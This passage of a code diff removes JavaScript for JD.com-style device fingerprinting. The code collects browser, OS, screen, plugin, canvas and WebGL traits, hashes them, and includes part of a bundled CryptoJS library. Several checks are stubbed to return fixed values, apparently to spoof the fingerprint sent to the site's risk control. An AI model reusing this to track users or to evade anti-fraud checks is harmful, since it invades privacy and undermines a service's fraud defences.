"0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); - return a -} - -function u(a, b, c, l, h, q) { - a = A(A(b, a), A(l, q)); - return A(a << h | a >>> 32 - h, c) -} - -function v(a, b, c, l, h, q, z) { - return u(b & c | ~b & l, a, b, h, q, z) -} - -function x(a, b, c, l, h, q, z) { - return u(b & l | c & ~l, a, b, h, q, z) -} - -function w(a, b, c, l, h, q, z) { - return u(c ^ (b | ~l), a, b, h, q, z) -} - -function A(a, b) { - var c = (a & 65535) + (b & 65535); - return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 -} - -_fingerprint_step = 2; -var y = "", - n = navigator.userAgent.toLowerCase(); -n.indexOf("jdapp") && (n = n.substring(0, 90)); -var e = navigator.language, - f = n; --1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( - "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || -f.indexOf("windows mobile"); -var r = "NA", - k = "NA"; -try { - -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != - f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( - r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = - "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( - "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f - .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = - "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), - -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = - "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( - "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != - f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), - -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), - -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( - "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = - "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = - "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( - "SymbianOS/") + 10, 3)) -} catch (a) { -} -_fingerprint_step = 3; -var g = "NA", - m = "NA"; -try { - -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( - 0, m.indexOf(";")))); - -1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( - "firefox/") + 8)); - -1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, - 4)); - -1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - -1 != f.indexOf( - "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( - 0, m.indexOf(" ")))); - -1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( - "navigator/") + 10)); - -1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( - "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf( - "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); - if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; - if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - -1 != - f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - -1 != f.indexOf("360se") && (g = - "360\u6d4f\u89c8\u5668"); - -1 != f.indexOf("the world") && (g = - "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - -1 != f.indexOf("maxthon") && (g = - "\u9068\u6e38\u6d4f\u89c8\u5668") -} catch (a) { -} - -class JdJrTdRiskFinger { - f = { - options: function () { - return {} - }, - nativeForEach: Array.prototype.forEach, - nativeMap: Array.prototype.map, - extend: function (a, b) { - if (null == a) return b; - for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); - return b - }, - getData: function () { - return y - }, - get: function (a) { - var b = 1 * m, - c = []; - "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + - e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); - c.push(g); - c.push(m); - c.push(r); - c.push(k); - y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + - m + "'"; - c = this.colorDepthKey(c); - c = this.screenResolutionKey(c); - c = this.timezoneOffsetKey(c); - c = this.sessionStorageKey(c); - c = this.localStorageKey(c); - c = this.indexedDbKey(c); - c = this.addBehaviorKey(c); - c = this.openDatabaseKey(c); - c = this.cpuClassKey(c); - c = this.platformKey(c); - c = this.hardwareConcurrencyKey(c); - c = this.doNotTrackKey(c); - c = this.pluginsKey(c); - c = this.canvasKey(c); - c = this.webglKey(c); - b = this.x64hash128(c.join("~~~"), 31); - return a(b) - }, - userAgentKey: function (a) { - a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( - navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); - return a - }, - replaceAll: function (a, b, c) { - for (; 0 <= a.indexOf(b);) a = a.replace(b, c); - return a - }, - browserRedirect: function (a) { - var b = a.toLowerCase(); - a = "ipad" == b.match(/ipad/i); - var c = "iphone os" == b.match(/iphone os/i), - l = "midp" == b.match(/midp/i), - h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), - q = "ucweb" == b.match(/ucweb/i), - z = "android" == b.match(/android/i), - C = "windows ce" == b.match(/windows ce/i); - b = "windows mobile" == b.match(/windows mobile/i); - y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" - }, - languageKey: function (a) { - '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( - navigator.language, " ", "_") + "'"); - return a - }, - colorDepthKey: function (a) { - '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + - screen.colorDepth + "'"); - return a - }, - screenResolutionKey: function (a) { - if (!this.options.excludeScreenResolution) { - var b = this.getScreenResolution(); - "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( - "x") + "'") - } - return a - }, - getScreenResolution: function () { - return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, - screen.width] : [screen.width, screen.height] : [screen.height, screen.width] - }, - timezoneOffsetKey: function (a) { - this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + - ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); - return a - }, - sessionStorageKey: function (a) { - !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), - y += ",'sessionStorage':true"); - return a - }, - localStorageKey: function (a) { - !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += - ",'localStorage':true"); - return a - }, - indexedDbKey: function (a) { - !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += - ",'indexedDb':true"); - return a - }, - addBehaviorKey: function (a) { - document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( - "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; - return a - }, - openDatabaseKey: function (a) { - !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += - ",'openDatabase':true") : y += ",'openDatabase':false"; - return a - }, - cpuClassKey: function (a) { - this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this - .getNavigatorCpuClass() + "'"); - return a - }, - platformKey: function (a) { - this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + - this.getNavigatorPlatform() + "'"); - return a - }, - hardwareConcurrencyKey: function (a) { - var b = this.getHardwareConcurrency(); - a.push(b); - y = y + ",'ccn':'" + b + "'"; - return a - }, - doNotTrackKey: function (a) { - this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + - "'"); - return a - }, - canvasKey: function (a) { - if (!this.options.excludeCanvas && this.isCanvasSupported()) { - var b = this.getCanvasFp(); - a.push(b); - _jdfp_canvas_md5 = t(b); - y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" - } - return a - }, - webglKey: function (a) { - if (!this.options.excludeWebGL && this.isCanvasSupported()) { - var b = this.getWebglFp(); - _jdfp_webgl_md5 = t(b); - a.push(b); - y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" - } - return a - }, - pluginsKey: function (a) { - this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + - "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + - "'"); - return a - }, - getRegularPluginsString: function () { - return this.map(navigator.plugins, function (a) { - var b = this.map(a, function (c) { - return [c.type, c.suffixes].join("~") - }).join(","); - return [a.name, a.description, b].join("::") - }, this).join(";") - }, - getIEPluginsString: function () { - return window.ActiveXObject ? this.map( - "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" - .split(";"), - function (a) { - try { - return new ActiveXObject(a), a - } catch (b) { - return null - } - }).join(";") : "" - }, - hasSessionStorage: function () { - try { - return !!window.sessionStorage - } catch (a) { - return !0 - } - }, - hasLocalStorage: function () { - try { - return !!window.localStorage - } catch (a) { - return !0 - } - }, - hasIndexedDB: function () { - return true - return !!window.indexedDB - }, - getNavigatorCpuClass: function () { - return navigator.cpuClass ? navigator.cpuClass : "NA" - }, - getNavigatorPlatform: function () { - return navigator.platform ? navigator.platform : "NA" - }, - getHardwareConcurrency: function () { - return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" - }, - getDoNotTrack: function () { - return navigator.doNotTrack ? navigator.doNotTrack : "NA" - }, - getCanvasFp: function () { - return ''; - var a = navigator.userAgent.toLowerCase(); - if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a - .indexOf("ipad"))) return null; - a = document.createElement("canvas"); - var b = a.getContext("2d"); - b.fillStyle = "red"; - b.fillRect(30, 10, 200, 100); - b.strokeStyle = "#1a3bc1"; - b.lineWidth = 6; - b.lineCap = "round"; - b.arc(50, 50, 20, 0, Math.PI, !1); - b.stroke(); - b.fillStyle = "#42e1a2"; - b.font = "15.4px 'Arial'"; - b.textBaseline = "alphabetic"; - b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); - b.shadowOffsetX = 1; - b.shadowOffsetY = 2; - b.shadowColor = "white"; - b.fillStyle = "rgba(0, 0, 200, 0.5)"; - b.font = "60px 'Not a real font'"; - b.fillText("No\u9a97", 40, 80); - return a.toDataURL() - }, - getWebglFp: function () { - var a = navigator.userAgent; - a = a.toLowerCase(); - if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a - .indexOf("ipad"))) return null; - a = function (D) { - b.clearColor(0, 0, 0, 1); - b.enable(b.DEPTH_TEST); - b.depthFunc(b.LEQUAL); - b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); - return "[" + D[0] + ", " + D[1] + "]" - }; - var b = this.getWebglCanvas(); - if (!b) return null; - var c = [], - l = b.createBuffer(); - b.bindBuffer(b.ARRAY_BUFFER, l); - var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); - b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); - l.itemSize = 3; - l.numItems = 3; - h = b.createProgram(); - var q = b.createShader(b.VERTEX_SHADER); - b.shaderSource(q, - "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" - ); - b.compileShader(q); - var z = b.createShader(b.FRAGMENT_SHADER); - b.shaderSource(z, - "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" - ); - b.compileShader(z); - b.attachShader(h, q); - b.attachShader(h, z); - b.linkProgram(h); - b.useProgram(h); - h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); - h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); - b.enableVertexAttribArray(h.vertexPosArray); - b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); - b.uniform2f(h.offsetUniform, 1, 1); - b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); - null != b.canvas && c.push(b.canvas.toDataURL()); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); - c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); - c.push("w3" + b.getParameter(b.ALPHA_BITS)); - c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); - c.push("w5" + b.getParameter(b.BLUE_BITS)); - c.push("w6" + b.getParameter(b.DEPTH_BITS)); - c.push("w7" + b.getParameter(b.GREEN_BITS)); - c.push("w8" + function (D) { - var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( - "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( - "MOZ_EXT_texture_filter_anisotropic"); - return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), - B) : null - }(b)); - c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); - c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); - c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); - c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); - c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); - c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); - c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); - c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); - c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); - c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); - c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); - c.push("w20" + b.getParameter(b.RED_BITS)); - c.push("w21" + b.getParameter(b.RENDERER)); - c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); - c.push("w23" + b.getParameter(b.STENCIL_BITS)); - c.push("w24" + b.getParameter(b.VENDOR)); - c.push("w25" + b.getParameter(b.VERSION)); - try { - var C = b.getExtension("WEBGL_debug_renderer_info"); - C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( - C.UNMASKED_RENDERER_WEBGL))) - } catch (D) { - } - return c.join("\u00a7") - }, - isCanvasSupported: function () { - return true; - var a = document.createElement("canvas"); - return !(!a.getContext || !a.getContext("2d")) - }, - isIE: function () { - return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && - /Trident/.test(navigator.userAgent) ? !0 : !1 - }, - getWebglCanvas: function () { - return null; - var a = document.createElement("canvas"), - b = null; - try { - var c = navigator.userAgent; - c = c.toLowerCase(); - (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c - .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) - } catch (l) { - } - b || (b = null); - return b - }, - each: function (a, b, c) { - if (null !== a) - if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); - else if (a.length === +a.length) - for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++) ; - else - for (l in a) - if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break - }, - map: function (a, b, c) { - var l = []; - if (null == a) return l; - if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); - this.each(a, function (h, q, z) { - l[l.length] = b.call(c, h, q, z) - }); - return l - }, - x64Add: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] + b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] + b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] + b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] + b[0]; - c[0] &= 65535; - return [c[0] << 16 | c[1], c[2] << 16 | c[3]] - }, - x64Multiply: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] * b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] * b[3]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[2] += a[3] * b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] * b[3]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[2] * b[2]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[3] * b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; - c[0] &= 65535; - return [c[0] << 16 | c[1], c[2] << 16 | c[3]] - }, - x64Rotl: function (a, b) { - b %= 64; - if (32 === b) return [a[1], a[0]]; - if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; - b -= 32; - return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] - }, - x64LeftShift: function (a, b) { - b %= 64; - return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] - }, - x64Xor: function (a, b) { - return [a[0] ^ b[0], a[1] ^ b[1]] - }, - x64Fmix: function (a) { - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [4283543511, 3981806797]); - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [3301882366, 444984403]); - return a = this.x64Xor(a, [0, a[0] >>> 1]) - }, - x64hash128: function (a, b) { - a = a || ""; - b = b || 0; - var c = a.length % 16, - l = a.length - c, - h = [0, b]; - b = [0, b]; - for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) - q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & - 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( - B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << - 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( - B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & - 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( - B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = - this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, - b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( - z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = - this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, - 944331445]); - q = [0, 0]; - z = [0, 0]; - switch (c) { - case 15: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); - case 14: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); - case 13: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); - case 12: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); - case 11: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); - case 10: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); - case 9: - z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( - z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); - case 8: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); - case 7: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); - case 6: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); - case 5: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); - case 4: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); - case 3: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); - case 2: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); - case 1: - q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( - q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) - } - h = this.x64Xor(h, [0, a.length]); - b = this.x64Xor(b, [0, a.length]); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - h = this.x64Fmix(h); - b = this.x64Fmix(b); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( - 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ - 1] >>> 0).toString(16)).slice(-8) - } - }; -} - -var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { - var v = {}, - x = v.lib = {}, - w = x.Base = function () { - function g() { - } - - return { - extend: function (m) { - g.prototype = this; - var a = new g; - m && a.mixIn(m); - a.hasOwnProperty("init") || (a.init = function () { - a.$super.init.apply(this, arguments) - }); - a.init.prototype = a; - a.$super = this; - return a - }, - create: function () { - var m = this.extend(); - m.init.apply(m, arguments); - return m - }, - init: function () { - }, - mixIn: function (m) { - for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); - m.hasOwnProperty("toString") && (this.toString = m.toString) - }, - clone: function () { - return this.init.prototype.extend(this) - } - } - }(), - A = x.WordArray = w.extend({ - init: function (g, m) { - g = this.words = g || []; - this.sigBytes = m != u ? m : 4 * g.length - }, - toString: function (g) { - return (g || n).stringify(this) - }, - concat: function (g) { - var m = this.words, - a = g.words, - b = this.sigBytes; - g = g.sigBytes; - this.clamp(); - if (b % 4) - for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << - 24 - (b + c) % 4 * 8; - else if (65535 < a.length) - for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; - else m.push.apply(m, a); - this.sigBytes += g; - return this - }, - clamp: function () { - var g = this.words, - m = this.sigBytes; - g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; - g.length = t.ceil(m / 4) - }, - clone: function () { - var g = w.clone.call(this); - g.words = this.words.slice(0); - return g - }, - random: function (g) { - for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); - return new A.init(m, g) - } - }); - x.UUID = w.extend({ - generateUuid: function () { - for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) - switch (g[m]) { - case "x": - g[m] = t.floor(16 * t.random()).toString(16); - break; - case "y": - g[m] = (t.floor(4 * t.random()) + 8).toString(16) - } - return g.join("") - } - }); - var y = v.enc = {}, - n = y.Hex = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - var a = []; - for (var b = 0; b < g; b++) { - var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; - a.push((c >>> 4).toString(16)); - a.push((c & 15).toString(16)) - } - return a.join("") - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << - 24 - b % 8 * 4; - return new A.init(a, m / 2) - } - }, - e = y.Latin1 = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & - 255)); - return a.join("") - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - - b % 4 * 8; - return new A.init(a, m) - } - }, - f = y.Utf8 = { - stringify: function (g) { - try { - return decodeURIComponent(escape(e.stringify(g))) - } catch (m) { - throw Error("Malformed UTF-8 data"); - } - }, - parse: function (g) { - return e.parse(unescape(encodeURIComponent(g))) - } - }, - r = x.BufferedBlockAlgorithm = w.extend({ - reset: function () { - this._data = new A.init; - this._nDataBytes = 0 - }, - _append: function (g) { - "string" == typeof g && (g = f.parse(g)); - this._data.concat(g); - this._nDataBytes += g.sigBytes - }, - _process: function (g) { - var m = this._data, - a = m.words, - b = m.sigBytes, - c = this.blockSize, - l = b / (4 * c); - l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); - g = l * c; - b = t.min(4 * g, b); - if (g) { - for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); - h = a.splice(0, g); - m.sigBytes -= b - } - return new A.init(h, b) - }, - clone: function () { - var g = w.clone.call(this); - g._data = this._data.clone(); - return g - }, - _minBufferSize: 0 - }); - x.Hasher = r.extend({ - cfg: w.extend(), - init: function (g) { - this.cfg = this.cfg.extend(g); - this.reset() - }, - reset: function () { - r.reset.call(this); - this._doReset() - }, - update: function (g) { - this._append(g); - this._process(); - return this - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize() - }, - blockSize: 16, - _createHelper: function (g) { - return function (m, a) { - return (new g.init(a)).finalize(m) - } - }, - _createHmacHelper: function (g) { - return function (m, a) { - return (new k.HMAC.init(g, a)).finalize(m) - } - } - }); - var k = v.algo = {}; - v.channel = {}; - return v -}(Math); -JDDSecCryptoJS.lib.Cipher || function (t) { - var u = JDDSecCryptoJS, - v = u.lib, - x = v.Base, - w = v.WordArray, - A = v.BufferedBlockAlgorithm, - y = v.Cipher = A.extend({ - cfg: x.extend(), - createEncryptor: function (g, m) { - return this.create(this._ENC_XFORM_MODE, g, m) - }, - createDecryptor: function (g, m) { - return this.create(this._DEC_XFORM_MODE, g, m) - }, - init: function (g, m, a) { - this.cfg = this.cfg.extend(a); - this._xformMode = g; - this._key = m; - this.reset() - }, - reset: function () { - A.reset.call(this); - this._doReset() - }, - process: function (g) { - this._append(g); - return this._process() - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize() - }, - keySize: 4, - ivSize: 4, - _ENC_XFORM_MODE: 1, - _DEC_XFORM_MODE: 2, - _createHelper: function () { - function g(m) { - if ("string" != typeof m) return k - } - - return function (m) { - return { - encrypt: function (a, b, c) { - return g(b).encrypt(m, a, b, c) - }, - decrypt: function (a, b, c) { - return g(b).decrypt(m, a, b, c) - } - } - } - }() - }); - v.StreamCipher = y.extend({ - _doFinalize: function () { - return this._process(!0) - }, - blockSize: 1 - }); - var n = u.mode = {}, - e = v.BlockCipherMode = x.extend({ - createEncryptor: function (g, m) { - return this.Encryptor.create(g, m) - }, - createDecryptor: function (g, m) { - return this.Decryptor.create(g, m) - }, - init: function (g, m) { - this._cipher = g; - this._iv = m - } - }); - n = n.CBC = function () { - function g(a, b, c) { - var l 